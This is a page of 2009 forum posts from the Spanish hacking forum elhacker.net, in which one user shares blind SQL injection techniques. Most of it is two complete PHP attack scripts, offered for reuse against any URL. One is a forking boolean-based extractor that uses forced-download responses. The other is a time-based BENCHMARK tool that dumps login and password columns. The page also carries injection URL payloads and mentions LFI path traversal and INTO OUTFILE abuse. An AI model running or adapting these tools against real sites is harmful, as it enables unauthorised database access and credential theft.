elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15
91  Seguridad Informática / Nivel Web / Re: Inyección SQL a sitio con nombre de tabla y todos los campos conocidos. en: 18 Febrero 2009, 18:55 pm
es MSSQL? o Mysql? o Postgresql?
92  Seguridad Informática / Nivel Web / Re: Inyeccion SQL (mysql) dentro de un DELETE en: 18 Febrero 2009, 18:53 pm
prova lo siguiente

OK
Código:
+and+(select+database())+--+ 

ERROR
Código:
+and+(select+databace())+--+

Dime hay algun cambio drastico al poner las dos?
Osea podria encontrar alguna diferencia en cuanto a tiempo de carga, redireccion, o error, en cuando pones una inyeccion valida y otra invalida. databace no existe xD¡.

Saludos¡
93  Seguridad Informática / Nivel Web / Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. en: 13 Febrero 2009, 20:20 pm
Esta enfocado para linux , el server donde estaba mirando es linux.  :rolleyes:
Nose si te refieres a esto

Código:
<?
     header ("Content-Disposition: attachment; filename=".$file.";" );
     header ("Content-Type: application/force-download"); */

?>


Te envie un Priv ¡

Saludos¡ Brota¡

pd:nose si te llego el prvi me avisas

94  Seguridad Informática / Nivel Web / Re: ¿Que es file discloure? en: 11 Febrero 2009, 22:02 pm
por lo que yo tengo entendido, es poder obtener o incluir un archivo dentro del servidor.
LFI, o RFI.


Por ej
http://www.milw0rm.com/exploits/8027

De todas formas, me parece que tiene otro significado mas, en cuanto a demostrar una vulnerabilidad. u algo similar.

Saludos¡

95  Seguridad Informática / Nivel Web / Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. en: 10 Febrero 2009, 22:48 pm
hi brota.

a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas.

Código:
header( 'Content-Disposition: attachment; filename="' . $name . '"');  

donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor.

el sistema que tiene para diferencir , si un valor es verdadero o falso, es.

Código:
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada.

Código:
if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }

nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar.


Saludos brota¡ :D ¡
96  Seguridad Informática / Nivel Web / Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas en: 10 Febrero 2009, 22:35 pm
Hi Brota :D


Codie esta tool para una inyeccion tipo
union+select+all+1,2,3,4,5,6,7,8,9.

Citar
http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"

Por eso los 9 null.

Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando :D.

Saludos¡

97  Seguridad Informática / Nivel Web / Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada. en: 7 Febrero 2009, 23:24 pm
wow '_'

No se me habia ocurrido ese escenario para blind SQL injection

ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD




Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros"

bueno, al parecer pense casi en todo :¬¬

jejej coool.

en #RE hay un post algo parecido
solo que prueba si nos deja descargar x ejemplo
/../index.php
../../index.php
/../../../etc/psswd

interesante post OzX
saludos

Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto.
Saludos¡
Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^


jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o  la nueva tecnica de obtenercion de informacion como load_file, pero con blind.

Saludos¡
98  Seguridad Informática / Nivel Web / Caso #01 : Blind SQL Inyection Con Descarga Forzada. en: 6 Febrero 2009, 19:21 pm



Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL.
Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver.

Web:
Código:
http://www.site.com/download.php?id=2

Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos.



Citar



Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL.

Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema.

Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script.

Citar
<?
   $x=97;
       $substring = 0;
   $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1";
   $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x;
   $var = strlen(file_get_contents($url,FALSE,NULL,0,1));
   if ($var != 0){
      echo "TRUE";
   }else{
      echo "FALSE";
   }
               }
?>

La parte en Rojo muestra cantidad maxima que recibira.
Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero.
Ya tenemos Nuestro Motor Casi Listo.


Script Finalizado :
Código:
<?php
/*
Coded by OzX[NuKE/US]
http://foro.undersecurity.net

*/
set_time_limit (0);
error_reporting(0);

function ordenar($file){
$file = file($file);
foreach ($file as $var){
list($ansii,$valores)= explode(">",$var);
$vars[$ansii] = $valores;
}
ksort($vars);
foreach ($vars as $var){
$data .=trim($var);
}
return array($data,$vars);
}

function blind($limit,$substring,$file){
$ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,
113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57,
65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);

for ($x=0;$x<=count($ascii);$x++){
$f1=fopen($file,"a");
$sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db
$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];

$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
if ($var != 0){
$info = $substring . ">".chr($ascii[$x])."\n";
$string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos
echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
fwrite($f1,$info);
fclose($f1);
exit();
}else{
echo chr($ascii[$x]).chr(13);
}
}

}
############################################################################################

$start = $argv[2];
$finish = $argv[3];
$limit = $argv[1];

$file = rand().".txt";
if (file_exists($file)) {
   unlink($file);
}


$pids = array();
for($i=$start;$i<=$finish;$i++)
{
  $pid = pcntl_fork();
   if($pid == -1) { die('ERROR FORK');
  } else if ($pid) {
    $pids[] = $pid;
  } else {
   blind($limit,$i,$file);
    exit();
  }
}
foreach($pids as $pid) {
  pcntl_waitpid($pid, $status);

}

list($data,$vars) = ordenar($file);
echo "Valor Obtenido :> ".$data."\r\n";
unlink($file);

?>



Claramente Tienen que Cambiar la url, y la consulta que desean hacer.
recibe 3 parametros de Entrada.

Código:
$start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor
$finish = $argv[3];  //=> En donde Terminara el Substring => 9
$limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0


Saludos ¡
OzX¡

Fuente : http://foro.undersecurity.net/read.php?5,775,776
99  Seguridad Informática / Nivel Web / Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas en: 5 Febrero 2009, 17:51 pm
Código:
ansii(substring... etc.

duh ?

@OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba?

-berz3k.


jawjwajwaj XD
ascii(substring(( :D 


Código
  1. http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*

:D asi me resulto, osea asi me indentificaba las mayus de las minus.
pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados


Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize.


Código
  1. <?
  2. //Coded by OzX http://foro.undersecurity.net
  3.  
  4. function hexsql($text){return '0x'.strtoupper(bin2hex($text));}
  5. function GET($url) {
  6. $curl = curl_init();
  7. $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
  8. $header[] = "Cache-Control: max-age=0";
  9. $header[] = "Connection: keep-alive";
  10. $header[] = "Keep-Alive: 300";
  11. $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
  12. $header[] = "Accept-Language: en-us,en;q=0.5";
  13. $header[] = "Pragma: ";
  14. curl_setopt($curl, CURLOPT_URL, $url);
  15. curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
  16. curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
  17. curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
  18. curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
  19. curl_setopt($curl, CURLOPT_AUTOREFERER, true);
  20. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  21. curl_setopt($curl, CURLOPT_TIMEOUT, 10);
  22. if (!$html = curl_exec($curl)) {
  23. $html = file_get_contents($url);
  24. }
  25. curl_close($curl);
  26. return $html;
  27. }
  28. function ordenar($file){
  29. $file = file($file);
  30. foreach ($file as $var){
  31. list($ansii,$valores)= explode(">",$var);
  32. $vars[$ansii] = $valores;
  33. }
  34. ksort($vars);
  35. foreach ($vars as $var){
  36. $data .=trim($var);
  37. }
  38. return array($data,$vars);
  39. }
  40.  
  41.  
  42. function blind_time($limit,$file,$db,$tabla,$columna){
  43. $ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z
  44. 47,32,0, //null, space, _, ,
  45.        48,49,50,51,52,53,54,55,56,57, #0-9
  46. 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,     #A-Z
  47. 33,35,36,37,38,45,46  
  48. );
  49.  
  50. for ($x=0;$x<=count($ascii);$x++){
  51. $f1=fopen($file,"a");
  52. $char = $ascii[$x];
  53. $starttime=time();
  54. echo "[+] ".$limit ." >>> Testing :>  ".$char."   =================>     ".chr($char)."\r\n";
  55. $source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*");
  56.  
  57. $endtime=time();
  58. $difftime=$endtime - $starttime;
  59. //echo "              DIFERENCIA  -> ".$difftime."\r\n";
  60. if ($difftime >15){
  61. $info = $limit . ">".chr($char)."\n";
  62. $string.= chr($char); //Obtenemos el Valor y lo Guardamos
  63. echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n";
  64. fwrite($f1,$info);
  65. fclose($f1);
  66. exit();
  67. }
  68. }
  69. }
  70.  
  71.  
  72.  
  73. $limit = $argv[2];
  74. $start = $argv[1];
  75. //$db = $argv[3];
  76. //$tabla = $argv[4];
  77. //$columna = $argv[5];
  78.  
  79.  
  80.  
  81.  
  82. $file = rand().".txt";
  83. if (file_exists($file)) {
  84.   unlink($file);
  85. }
  86.  
  87.  
  88. $pids = array();
  89. for($i=$start;$i<=$limit;$i++)
  90. {
  91.  $pid = pcntl_fork();
  92.   if($pid == -1) { die('ERROR FORK');
  93.  } else if ($pid) {
  94.    $pids[] = $pid;
  95.  } else {
  96.    blind_time($i,$file,$db,$tabla,$columna);
  97.    exit();
  98.  }
  99. }
  100. foreach($pids as $pid) {
  101.  pcntl_waitpid($pid, $status);
  102.  
  103. }
  104.  
  105. list($data,$vars) = ordenar($file);
  106. echo "TABLA :> ".$tabla."   COLUMNA :>> ".$columna."\r\n";
  107. echo "Valor Obtenido :> ".$data."\r\n";
  108. echo "DEBUG :>\r\n";
  109. print_r($vars);
  110. unlink($file);
  111.  
  112.  
  113. ?>

los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante.

Saludos¡
OzX¡

100  Seguridad Informática / Nivel Web / Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas en: 5 Febrero 2009, 03:13 am
lo solucione xd¡
aunque no de la mejor forma.
tenia magic quotes off, y privilegios de Y , Into OUT FIle, y ya fue historia xD¡.
de todas formas es bastante particular el time based.

Saludos¡
Páginas: 1 2 3 4 5 6 7 8 9 [10] 11 12 13 14 15
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines